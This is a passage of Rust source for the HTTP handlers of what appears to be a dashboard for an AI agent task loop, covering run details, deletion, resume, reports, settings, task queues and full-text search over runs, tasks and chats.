3322fn run_prose_md(state: &RunState) -> RunProseMd {
3324 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3325 RunProseMd {
3326 advice_md: state.advice.as_ref().map(|a| AdviceMd {
3327 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3328 approaches: a
3329 .records
3330 .iter()
3331 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3332 .collect(),
3333 }),
3334 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3335 reviews_md: state
3336 .reviews
3337 .iter()
3338 .map(|round| RoundMd {
3339 reviewers: round
3340 .reviews
3341 .iter()
3342 .map(|rec| ReviewerMd {
3343 summary: nodes(&rec.summary),
3344 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3345 })
3346 .collect(),
3347 reconsideration: round
3348 .reconsideration
3349 .iter()
3350 .map(|rv| nodes(&rv.reason))
3351 .collect(),
3352 fix: round.fix.as_ref().map(|fix| FixMd {
3353 notes: nodes(&fix.notes),
3354 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3355 }),
3356 })
3357 .collect(),
3358 }
3359}
3360
3361impl RunDetailView {
3362 fn of(
3363 state: RunState,
3364 waiting: bool,
3365 live: crate::run::Liveness,
3366 superseded_by: Option<String>,
3367 latest_attempt: Option<LatestAttempt>,
3368 task: Option<TaskRef>,
3369 ) -> Self {
3370 let display_status = run_display_status(&state, waiting, live);
3371 Self {
3372 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
3373 prose_md: run_prose_md(&state),
3374 origin_label: crate::run::origin_label(state.origin.as_ref()),
3375 live,
3376 unmerged_by_design: state.unmerged_by_design(),
3377 waiting,
3378 display_status,
3379 done: state.status.done(),
3380 superseded_by,
3381 latest_attempt,
3382 task,
3383 state,
3384 }
3385 }
3386}
3387
3388async fn run_detail(
3389 State(ui): State<Arc<Ui>>,
3390 Path(id): Path<String>,
3391) -> ApiResult<Json<RunDetailView>> {
3392 blocking(move || {
3393 let id = resolve_run(&ui.runs, &id)?;
3394 let state = read_run(&ui.runs, &id)?;
3395 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3396 let live = state.liveness(daemon_claims);
3397 let waiting = !ui.questions.open_for(&id).is_empty();
3398 let superseded_by = state
3399 .pr_taken_over_by
3400 .clone()
3401 .or_else(|| ui.queue.superseded_by(&id))
3402 .as_deref()
3403 .map(crate::run::short_of)
3404 .map(str::to_owned);
3405 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
3409 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
3410 short: head.short().to_owned(),
3411 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
3412 status: head.status,
3413 done: head.status.done(),
3414 id: head.id,
3415 })
3416 });
3417 let max_attempts = daemon::Opts::default().max_attempts;
3418 let task = ui
3419 .queue
3420 .list()
3421 .into_iter()
3422 .find(|t| t.runs.contains(&id))
3423 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
3424 Ok(Json(RunDetailView::of(
3425 state,
3426 waiting,
3427 live,
3428 superseded_by,
3429 latest_attempt,
3430 task,
3431 )))
3432 })
3433 .await
3434}
3435
3436async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3445 let (id, unreadable) = {
3446 let ui = Arc::clone(&ui);
3447 blocking(move || {
3448 let id = resolve_run(&ui.runs, &id)?;
3449 match read_run(&ui.runs, &id) {
3450 Ok(state) => {
3451 let in_flight =
3452 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3453 state
3454 .ensure_can_delete(in_flight)
3455 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3456 let dir = ui.runs.join(&id);
3457 std::fs::remove_dir_all(&dir)
3458 .with_context(|| format!("remove run directory {}", dir.display()))?;
3459 Ok((id, false))
3460 }
3461 Err(_) => {
3462 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3466 return Err(ApiError::conflict(format!(
3467 "run {id} is being worked on by a live daemon right now"
3468 )));
3469 }
3470 Ok((id, true))
3471 }
3472 }
3473 })
3474 .await?
3475 };
3476 if unreadable {
3477 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3478 .await
3479 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3480 }
3481 let ui = Arc::clone(&ui);
3482 let done = id.clone();
3483 blocking(move || {
3484 ui.questions.abandon_for_run(
3487 &done,
3488 &format!("run {done} was deleted, so nothing is waiting for this answer"),
3489 )?;
3490 Ok(())
3491 })
3492 .await?;
3493 Ok(StatusCode::NO_CONTENT)
3494}
3495
3496async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3520 let (id, state) = {
3521 let ui = Arc::clone(&ui);
3522 blocking(move || {
3523 let id = resolve_run(&ui.runs, &id)?;
3524 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3525 return Err(ApiError::conflict(format!(
3526 "run {id} is being worked on by a live daemon right now"
3527 )));
3528 }
3529 let state = read_run(&ui.runs, &id).ok();
3530 Ok((id, state))
3531 })
3532 .await?
3533 };
3534 let removed = match state {
3535 Some(mut state) => {
3536 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3537 .await
3538 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3539 if removed.is_empty() {
3544 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3545 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3546 }
3547 removed
3548 }
3549 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3550 .await
3551 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3552 };
3553 Ok(Json(FoldView {
3554 run: id,
3555 removed_count: removed.len(),
3556 removed,
3557 }))
3558}
3559
3560#[derive(Debug, Serialize)]
3562struct FoldView {
3563 run: String,
3564 removed: Vec<String>,
3566 removed_count: usize,
3567}
3568
3569#[derive(Debug, Deserialize)]
3572struct FoldMergedBody {
3573 #[serde(default)]
3574 pr_url: String,
3575}
3576
3577async fn run_fold_merged(
3597 State(ui): State<Arc<Ui>>,
3598 Path(id): Path<String>,
3599 Json(body): Json<FoldMergedBody>,
3600) -> ApiResult<Json<FoldMergedView>> {
3601 let pr_url = body.pr_url.trim().to_owned();
3602 if pr_url.is_empty() {
3603 return Err(ApiError::bad_request("pr_url is required"));
3604 }
3605 let (id, mut state) = {
3606 let ui = Arc::clone(&ui);
3607 blocking(move || {
3608 let id = resolve_run(&ui.runs, &id)?;
3609 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3610 return Err(ApiError::conflict(format!(
3611 "run {id} is being worked on by a live daemon right now"
3612 )));
3613 }
3614 let state = read_run(&ui.runs, &id)?;
3615 Ok((id, state))
3616 })
3617 .await?
3618 };
3619 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3620 .await
3621 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3622 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3623 .await
3624 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3625 Ok(Json(FoldMergedView {
3626 run: id,
3627 before: before.as_str().to_owned(),
3628 after: after.as_str().to_owned(),
3629 removed,
3630 }))
3631}
3632
3633#[derive(Debug, Serialize)]
3635struct FoldMergedView {
3636 run: String,
3637 before: String,
3639 after: String,
3641 removed: Vec<String>,
3643}
3644
3645async fn run_resume(
3665 State(ui): State<Arc<Ui>>,
3666 Path(id): Path<String>,
3667) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3668 let (id, state) = {
3669 let ui = Arc::clone(&ui);
3670 blocking(move || {
3671 let id = resolve_run(&ui.runs, &id)?;
3672 let state = read_run(&ui.runs, &id)?;
3673 Ok((id, state))
3674 })
3675 .await?
3676 };
3677 if let Some(to) = state
3678 .pr_taken_over_by
3679 .as_ref()
3680 .or(state.released_to.as_ref())
3681 {
3682 return Err(ApiError::conflict(format!(
3683 "run {} can no longer be resumed: its pull request or worktree ownership moved to run {}.",
3684 state.short(),
3685 crate::run::short_of(to)
3686 )));
3687 }
3688 if !state.status.resumable() {
3689 return Err(ApiError::conflict(format!(
3690 "run {} is `{}`, and only a stalled or blocked run can be resumed",
3691 state.short(),
3692 status_word(state.status)
3693 )));
3694 }
3695 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3700 .into_iter()
3701 .next()
3702 {
3703 return Err(ApiError::conflict(format!(
3704 "the loop is running run {} right now; stop it first, or wait for \
3705 it to finish, before resuming a run by hand.",
3706 crate::run::short_of(&work.run)
3707 )));
3708 }
3709 let _resume = ui.begin_resume(&id)?;
3710
3711 let queued = RunSummary::of(
3714 &state,
3715 !ui.questions.open_for(&id).is_empty(),
3716 state.liveness(false),
3717 );
3718 let run = id.clone();
3719 tokio::spawn(async move {
3720 let _resume = _resume;
3721 match crate::graph::Runner::resume(&run) {
3722 Ok(mut runner) => {
3723 if let Err(e) = runner.execute().await {
3724 tracing::warn!("resume of run {run} stopped: {e:#}");
3725 }
3726 }
3727 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3730 }
3731 });
3732 Ok((StatusCode::ACCEPTED, Json(queued)))
3733}
3734
3735async fn run_report(
3736 State(ui): State<Arc<Ui>>,
3737 Path(id): Path<String>,
3738) -> ApiResult<impl IntoResponse> {
3739 let text = blocking(move || {
3740 let id = resolve_run(&ui.runs, &id)?;
3741 let state = read_run(&ui.runs, &id)?;
3745 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3746 let live = state.liveness(daemon_claims);
3747 Ok(format!(
3748 "{}{}",
3749 report::run(&state),
3750 report::active_seats(&state, live)
3751 ))
3752 })
3753 .await?;
3754 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3755}
3756
3757async fn run_report_json(
3761 State(ui): State<Arc<Ui>>,
3762 Path(id): Path<String>,
3763) -> ApiResult<Json<crate::report_view::RunReportView>> {
3764 let view = blocking(move || {
3765 let id = resolve_run(&ui.runs, &id)?;
3766 let state = read_run(&ui.runs, &id)?;
3767 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3768 Ok(crate::report_view::build(
3769 &state,
3770 state.liveness(daemon_claims),
3771 ))
3772 })
3773 .await?;
3774 Ok(Json(view))
3775}
3776
3777#[derive(Debug, Serialize)]
3783struct TaskView {
3784 #[serde(flatten)]
3785 task: Task,
3786 source_label: String,
3787 source_link: Option<SourceLink>,
3788 status_str: &'static str,
3789 instruction_md: Vec<md::Node>,
3793 waits_on: Vec<String>,
3797 stuck_roots: Vec<String>,
3800}
3801
3802impl From<Task> for TaskView {
3803 fn from(task: Task) -> Self {
3804 Self {
3805 source_label: task.source.label(),
3806 source_link: source_link(&task.source),
3807 status_str: task.status.as_str(),
3808 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3809 waits_on: Vec::new(),
3810 stuck_roots: Vec::new(),
3811 task,
3812 }
3813 }
3814}
3815
3816impl TaskView {
3817 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3818 let waits_on = inv.waits_on(&task);
3819 let stuck_roots = inv
3820 .stuck_roots(&task)
3821 .iter()
3822 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3823 .collect();
3824 Self {
3825 waits_on,
3826 stuck_roots,
3827 ..Self::from(task)
3828 }
3829 }
3830}
3831
3832#[derive(Debug, Default, Deserialize)]
3835#[serde(default)]
3836struct ReposQuery {
3837 refresh: u8,
3838}
3839
3840async fn repos_list(
3847 State(ui): State<Arc<Ui>>,
3848 Query(q): Query<ReposQuery>,
3849) -> ApiResult<Json<Vec<repos::Repo>>> {
3850 let refresh = q.refresh != 0;
3851 blocking(move || {
3852 let (cfg, _) = Config::discover(&ui.repo, None)?;
3853 Ok(Json(ui.repos_cache.list(
3854 &cfg.repos.roots,
3855 Duration::from_secs(cfg.repos.scan_ttl),
3856 refresh,
3857 )))
3858 })
3859 .await
3860}
3861
3862#[derive(Debug, Default, Deserialize)]
3864struct SettingsQuery {
3865 repo: Option<PathBuf>,
3866}
3867
3868fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
3872 let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
3873 let paths: Vec<PathBuf> = ui
3874 .machine_config
3875 .iter()
3876 .filter(|p| p.is_file())
3877 .cloned()
3878 .collect();
3879 if paths.is_empty() {
3880 Ok(Config::autodetected())
3881 } else {
3882 Config::load_layers(&paths)
3883 }
3884 });
3885 let mut known = cfg
3886 .map(|cfg| {
3887 ui.repos_cache.list(
3888 &cfg.repos.roots,
3889 Duration::from_secs(cfg.repos.scan_ttl),
3890 refresh,
3891 )
3892 })
3893 .unwrap_or_default();
3894 let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
3895 if !known.iter().any(|r| r.path == path) {
3896 known.push(repos::Repo {
3897 name: path
3898 .file_name()
3899 .unwrap_or_default()
3900 .to_string_lossy()
3901 .into_owned(),
3902 path,
3903 });
3904 }
3905 known
3906}
3907
3908fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
3909 let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
3910 let canonical = requested.canonicalize().ok();
3911 let mut known = settings_repositories(ui, false);
3912 let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
3913 if !known.iter().any(matches) {
3914 known = settings_repositories(ui, true);
3915 }
3916 let repo = known
3917 .iter()
3918 .find(|r| matches(r))
3919 .map(|r| r.path.clone())
3920 .ok_or_else(|| ApiError {
3921 status: StatusCode::UNPROCESSABLE_ENTITY,
3922 message: "Choose a known repository from the Settings selector.".to_owned(),
3923 })?;
3924 Ok((repo, known))
3925}
3926
3927async fn settings_get(
3931 State(ui): State<Arc<Ui>>,
3932 Query(q): Query<SettingsQuery>,
3933) -> ApiResult<Json<settings::SettingsView>> {
3934 blocking(move || {
3935 let (repo, known) = settings_context(&ui, q)?;
3936 Ok(Json(settings::view_with_repos(
3937 &repo,
3938 ui.machine_config.as_deref(),
3939 &known,
3940 )))
3941 })
3942 .await
3943}
3944
3945#[derive(Debug, Deserialize)]
3947#[serde(deny_unknown_fields)]
3948struct RolesBody {
3949 revision: String,
3951 #[serde(default)]
3953 roles: std::collections::BTreeMap<String, Vec<String>>,
3954 #[serde(default)]
3958 counts: std::collections::BTreeMap<String, serde_json::Value>,
3959}
3960
3961async fn settings_put_roles(
3967 State(ui): State<Arc<Ui>>,
3968 Query(q): Query<SettingsQuery>,
3969 body: std::result::Result<Json<RolesBody>, JsonRejection>,
3970) -> ApiResult<Json<settings::SettingsView>> {
3971 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3972 blocking(move || {
3973 let (repo, known) = settings_context(&ui, q)?;
3974 settings::save_with_repos(
3975 &repo,
3976 ui.machine_config.as_deref(),
3977 &body.revision,
3978 &body.roles,
3979 &body.counts,
3980 &known,
3981 )
3982 .map(Json)
3983 .map_err(|e| match e {
3984 settings::SaveError::Conflict(m) => ApiError::conflict(m),
3985 settings::SaveError::Refused(m) => ApiError {
3986 status: StatusCode::UNPROCESSABLE_ENTITY,
3987 message: m,
3988 },
3989 settings::SaveError::Internal(m) => ApiError::internal(m),
3990 })
3991 })
3992 .await
3993}
3994
3995async fn queue_list(
3996 State(ui): State<Arc<Ui>>,
3997 Query(q): Query<ListQuery>,
3998) -> ApiResult<Json<Vec<TaskView>>> {
3999 blocking(move || {
4000 let tasks = ui.queue.list();
4001 let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
4002 Ok(Json(
4003 tasks
4004 .into_iter()
4005 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
4006 .map(|t| TaskView::with_inventory(t, &inv))
4007 .collect(),
4008 ))
4009 })
4010 .await
4011}
4012
4013const SEARCH_MAX_HITS: usize = 100;
4015const SEARCH_MAX_QUERY: usize = 200;
4017const SEARCH_MAX_TERMS: usize = 8;
4018const SNIPPET_BEFORE: usize = 50;
4020const SNIPPET_AFTER: usize = 110;
4021
4022#[derive(Debug, Deserialize)]
4024struct SearchQuery {
4025 #[serde(default)]
4026 scope: String,
4027 #[serde(default)]
4028 q: String,
4029}
4030
4031#[derive(Debug, Serialize, PartialEq, Eq)]
4034struct SnippetPart {
4035 text: String,
4036 hit: bool,
4037}
4038
4039#[derive(Debug, Serialize)]
4040struct SearchHit {
4041 id: String,
4042 field: String,
4044 snippet: Vec<SnippetPart>,
4045 #[serde(skip_serializing_if = "Option::is_none")]
4049 run: Option<RunSummary>,
4050}
4051
4052#[derive(Debug, Serialize)]
4053struct SearchView {
4054 scope: String,
4055 q: String,
4056 hits: Vec<SearchHit>,
4058 total: usize,
4060 truncated: bool,
4061 unreadable: usize,
4064}
4065
4066fn text_leaves<'a>(
4069 value: &'a serde_json::Value,
4070 field: &'a str,
4071 out: &mut Vec<(&'a str, &'a str)>,
4072) {
4073 match value {
4074 serde_json::Value::String(s) => out.push((field, s)),
4075 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
4076 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
4077 _ => {}
4078 }
4079}
4080
4081fn fold_char(c: char) -> char {
4084 c.to_lowercase().next().unwrap_or(c)
4085}
4086
4087fn search_terms(q: &str) -> Vec<String> {
4089 let mut terms: Vec<String> = Vec::new();
4090 for t in q.split_whitespace() {
4091 let t = t.to_lowercase();
4092 if !terms.contains(&t) {
4093 terms.push(t);
4094 }
4095 }
4096 terms
4097}
4098
4099fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
4102 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
4103 let mut first: Option<usize> = None;
4104 for term in terms {
4105 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
4106 first = Some(first.map_or(at, |f| f.min(at)));
4107 }
4108 let (field, text) = leaves[first?];
4110 Some(SearchHit {
4111 id: String::new(),
4112 field: field.to_owned(),
4113 snippet: snippet_of(text, terms),
4114 run: None,
4115 })
4116}
4117
4118fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
4121 let chars: Vec<char> = text.chars().collect();
4122 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
4123 let needles: Vec<Vec<char>> = terms
4124 .iter()
4125 .map(|t| t.chars().map(fold_char).collect())
4126 .collect();
4127 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
4128 let mut best: Option<(usize, usize)> = None;
4129 for n in needles.iter().filter(|n| !n.is_empty()) {
4130 if n.len() > chars.len() || to == 0 {
4134 continue;
4135 }
4136 let last = (to - 1).min(chars.len() - n.len());
4137 if from > last {
4138 continue;
4139 }
4140 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
4141 && best.is_none_or(|(b, _)| i < b)
4142 {
4143 best = Some((i, i + n.len()));
4144 }
4145 }
4146 best
4147 };
4148 let Some((start, _)) = find(0, chars.len()) else {
4149 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
4151 return vec![SnippetPart {
4152 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
4153 hit: false,
4154 }];
4155 };
4156 let lo = start.saturating_sub(SNIPPET_BEFORE);
4157 let hi = (start + SNIPPET_AFTER).min(chars.len());
4158 let mut parts: Vec<SnippetPart> = Vec::new();
4159 let mut push = |s: &[char], hit: bool| {
4160 if s.is_empty() {
4161 return;
4162 }
4163 let text: String = s.iter().collect();
4164 match parts.last_mut() {
4165 Some(p) if p.hit == hit => p.text.push_str(&text),
4166 _ => parts.push(SnippetPart { text, hit }),
4167 }
4168 };
4169 if lo > 0 {
4170 push(&['\u{2026}'], false);
4171 }
4172 let mut at = lo;
4173 while at < hi {
4174 match find(at, hi) {
4175 Some((s, e)) => {
4176 push(&chars[at..s], false);
4177 let shown = e.min(hi);
4179 push(&chars[s..shown], true);
4180 at = shown;
4181 }
4182 None => {
4183 push(&chars[at..hi], false);
4184 at = hi;
4185 }
4186 }
4187 }
4188 if hi < chars.len() {
4189 push(&['\u{2026}'], false);
4190 }
4191 let mut prev_space = false;
4194 for p in &mut parts {
4195 let mut out = String::with_capacity(p.text.len());
4196 for c in p.text.chars() {
4197 if c.is_whitespace() {
4198 if !prev_space {
4199 out.push(' ');
4200 }
4201 prev_space = true;
4202 } else {
4203 out.push(c);
4204 prev_space = false;
4205 }
4206 }
4207 p.text = out;
4208 }
4209 parts.retain(|p| !p.text.is_empty());
4210 parts
4211}
4212
4213fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
4215where
4216 I: IntoIterator<Item = (String, serde_json::Value)>,
4217{
4218 for (id, doc) in docs {
4219 let mut leaves = Vec::new();
4220 leaves.push(("id", id.as_str()));
4223 text_leaves(&doc, "", &mut leaves);
4224 if let Some(mut hit) = search_document(terms, &leaves) {
4225 view.total += 1;
4226 if view.hits.len() < SEARCH_MAX_HITS {
4227 hit.id = id;
4228 view.hits.push(hit);
4229 }
4230 }
4231 }
4232 view.truncated = view.total > view.hits.len();
4233}
4234
4235fn talk_search_doc(talk: &Talk) -> serde_json::Value {
4242 let opener = talk
4243 .turns
4244 .iter()
4245 .find(|t| t.who == crate::talk::Who::Operator)
4246 .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
4247 .unwrap_or("");
4248 let title: String = if opener.chars().count() > 96 {
4249 opener.chars().take(95).chain(['\u{2026}']).collect()
4250 } else {
4251 opener.to_owned()
4252 };
4253 let turns: Vec<serde_json::Value> = talk
4254 .turns
4255 .iter()
4256 .map(|t| {
4257 let who = match t.who {
4258 crate::talk::Who::Operator => "operator",
4259 crate::talk::Who::Agent => "agent",
4260 };
4261 serde_json::json!({ who: t.body })
4262 })
4263 .collect();
4264 serde_json::json!({ "title": title, "turns": turns })
4265}
4266
4267async fn search_get(
4274 State(ui): State<Arc<Ui>>,
4275 Query(q): Query<SearchQuery>,
4276) -> ApiResult<Json<SearchView>> {
4277 let query = q.q.trim().to_owned();
4278 if query.is_empty() {
4279 return Err(ApiError::bad_request("q must not be empty"));
4280 }
4281 if query.chars().count() > SEARCH_MAX_QUERY {
4282 return Err(ApiError::bad_request(format!(
4283 "q is longer than {SEARCH_MAX_QUERY} characters"
4284 )));
4285 }
4286 let terms = search_terms(&query);
4287 if terms.len() > SEARCH_MAX_TERMS {
4288 return Err(ApiError::bad_request(format!(
4289 "q has more than {SEARCH_MAX_TERMS} terms"
4290 )));
4291 }
4292 let scope = q.scope;
4293 if scope != "runs" && scope != "tasks" && scope != "chats" {
4294 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
4295 }
4296 blocking(move || {
4297 let mut view = SearchView {
4298 scope: scope.clone(),
4299 q: query,
4300 hits: Vec::new(),
4301 total: 0,
4302 truncated: false,
4303 unreadable: 0,
4304 };
4305 if scope == "runs" {
4306 let mut unreadable = 0;
4307 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
4311 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
4312 match body.and_then(|b| serde_json::from_str(&b).ok()) {
4313 Some(v) => Some((id, v)),
4314 None => {
4315 unreadable += 1;
4316 None
4317 }
4318 }
4319 });
4320 search_docs(&terms, docs, &mut view);
4321 view.unreadable = unreadable;
4322 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
4325 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
4326 for hit in &mut view.hits {
4327 if let Ok(state) = read_run(&ui.runs, &hit.id) {
4328 hit.run = summarize(
4329 [state],
4330 &open_runs,
4331 &claimed,
4332 &superseded,
4333 |p| probe.borrow_mut().status(p),
4334 |p| probe.borrow_mut().started_at(p),
4335 )
4336 .pop();
4337 }
4338 }
4339 } else if scope == "chats" {
4340 let (talks, unreadable) = ui.talks.list_counting_unreadable();
4341 view.unreadable = unreadable;
4342 search_docs(
4343 &terms,
4344 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
4345 &mut view,
4346 );
4347 } else {
4348 let docs = ui.queue.list().into_iter().filter_map(|t| {
4349 let mut v = serde_json::to_value(&t).ok()?;
4350 if let Some(o) = v.as_object_mut() {
4353 o.insert("filed_by".to_owned(), t.source.label().into());
4354 }
4355 Some((t.id, v))
4356 });
4357 search_docs(&terms, docs, &mut view);
4358 }
4359 Ok(Json(view))
4360 })
4361 .await
4362}
4363
4364#[derive(Debug, Serialize)]
4366struct TaskRunView {
4367 n: usize,
4369 id: String,
4370 short: String,
4371 kind: &'static str,
4373 status: Option<&'static str>,
4375 readable: bool,
4377 provisional: bool,
4379 description: String,
4381 outcome: String,
4383 created_at: Option<Timestamp>,
4384 pr: Option<String>,
4385 exit: RunExit,
4387 attempt: AttemptCost,
4389 branch: Option<String>,
4391}
4392
4393#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4395#[serde(rename_all = "snake_case")]
4396enum RunExit {
4397 Unreadable,
4398 Interrupted,
4400 Parked,
4401 QuotaStall,
4402 ResumedQuotaStall,
4406 Merged,
4407 Ready,
4408 Superseded,
4409 AlreadyInBase,
4412 Stalled,
4414 HeldWithPr,
4416 NoopHeld,
4417 Spent,
4419 InProgress,
4420}
4421
4422#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4423#[serde(rename_all = "snake_case")]
4424enum AttemptCost {
4425 Spent,
4426 Refunded,
4427 None,
4428 Unknown,
4430}
4431
4432impl RunExit {
4433 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
4434 let Some(s) = s else {
4435 return Self::Unreadable;
4436 };
4437 let status = s.status;
4438 if resumed_later {
4439 Self::Interrupted
4440 } else if s.parked {
4441 Self::Parked
4442 } else if !status.done() {
4443 Self::InProgress
4444 } else if matches!(status, RunStatus::Merged) {
4445 Self::Merged
4446 } else if matches!(status, RunStatus::Ready) {
4447 Self::Ready
4448 } else if matches!(status, RunStatus::Superseded) {
4449 Self::Superseded
4450 } else if matches!(status, RunStatus::AlreadyInBase) {
4451 Self::AlreadyInBase
4452 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4453 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4454 {
4455 if resumed {
4456 Self::ResumedQuotaStall
4457 } else {
4458 Self::QuotaStall
4459 }
4460 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4461 Self::HeldWithPr
4462 } else if matches!(status, RunStatus::VerifiedNoop) {
4463 Self::NoopHeld
4464 } else if matches!(status, RunStatus::Stalled) {
4465 Self::Stalled
4466 } else {
4467 Self::Spent
4468 }
4469 }
4470
4471 fn cost(self) -> AttemptCost {
4472 match self {
4473 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
4474 Self::Merged
4475 | Self::Ready
4476 | Self::Stalled
4477 | Self::HeldWithPr
4478 | Self::NoopHeld
4479 | Self::Spent => AttemptCost::Spent,
4480 Self::InProgress => AttemptCost::None,
4481 Self::AlreadyInBase => AttemptCost::Refunded,
4482 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
4483 AttemptCost::Unknown
4484 }
4485 }
4486 }
4487
4488 fn edge_label(self, status: Option<&str>) -> String {
4490 match self {
4491 Self::Unreadable => "record unreadable".to_owned(),
4492 Self::Interrupted => "interrupted before the run finished".to_owned(),
4493 Self::Parked => "parked, attempt refunded".to_owned(),
4494 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
4495 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
4496 Self::Merged => "merged".to_owned(),
4497 Self::Ready => "ready, not merged".to_owned(),
4498 Self::Superseded => "superseded by a later attempt".to_owned(),
4499 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
4500 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
4501 Self::HeldWithPr => "blocked, PR left open".to_owned(),
4502 Self::NoopHeld => "verified no-op".to_owned(),
4503 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
4504 Self::InProgress => "in progress".to_owned(),
4505 }
4506 }
4507
4508 fn explains(self, end: TaskStatus) -> bool {
4511 match self {
4512 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
4513 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
4514 Self::Unreadable | Self::Superseded | Self::Ready => true,
4515 _ => end != TaskStatus::Done,
4516 }
4517 }
4518}
4519
4520#[derive(Debug, Serialize)]
4522struct TaskDetailView {
4523 #[serde(flatten)]
4524 task: TaskView,
4525 max_attempts: usize,
4528 history: Vec<TaskRunView>,
4529 flow: FlowView,
4530 followup_origin: Option<FollowUpOrigin>,
4532 runs_unreadable: usize,
4534 attempts_note: &'static str,
4536}
4537
4538const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
4539and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
4540on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
4541in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
4542
4543fn review_branch_of(instruction: &str) -> Option<&str> {
4546 let rest = instruction.strip_prefix("Review the work already on branch `")?;
4547 rest.split('`').next().filter(|b| !b.is_empty())
4548}
4549
4550struct RunSlot<'a> {
4552 n: usize,
4554 resumed: bool,
4556 resumed_later: Option<usize>,
